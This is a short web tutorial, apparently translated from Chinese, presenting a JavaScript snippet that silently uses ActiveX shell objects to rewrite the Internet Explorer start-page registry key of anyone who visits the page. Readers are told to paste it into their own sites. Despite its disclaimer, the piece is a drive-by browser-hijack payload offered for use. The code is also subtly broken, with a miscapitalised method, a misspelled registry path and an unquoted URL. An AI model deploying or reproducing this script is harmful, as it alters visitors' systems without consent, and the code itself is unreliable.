The editor does not recommend using this function. After all, it is an unfriendly behavior for web browsers. Okay, let’s get down to business:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>强制设为首页</title>
<script type="text/javascript">
var ucook = document.cookie;
var user = ucook.indexOF("ilooki=");
if (user == -1) {
var nowTime = new Date();
document.cookie = "ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear())+1903+"12:34:56 GMT";
document.write("");
function yuzi() {
try {
a1 = document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try {
Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",
http://www.jb51.net);
}
catch(e) {
}
}
catch(e) {
}
}
setTimeout("yuzi()", 1000);
}
</script>
</head>
<body>
</body>
</html>
To use, please replace the URL with your own URL, and then copy the code to your web page.
This article is just a technical study, giving you an idea. I hope it can help you and inspire you to learn javascript programs.
![[Web front-end] Node.js quick start](https://img.php.cn/upload/course/000/000/067/662b5d34ba7c0227.png)
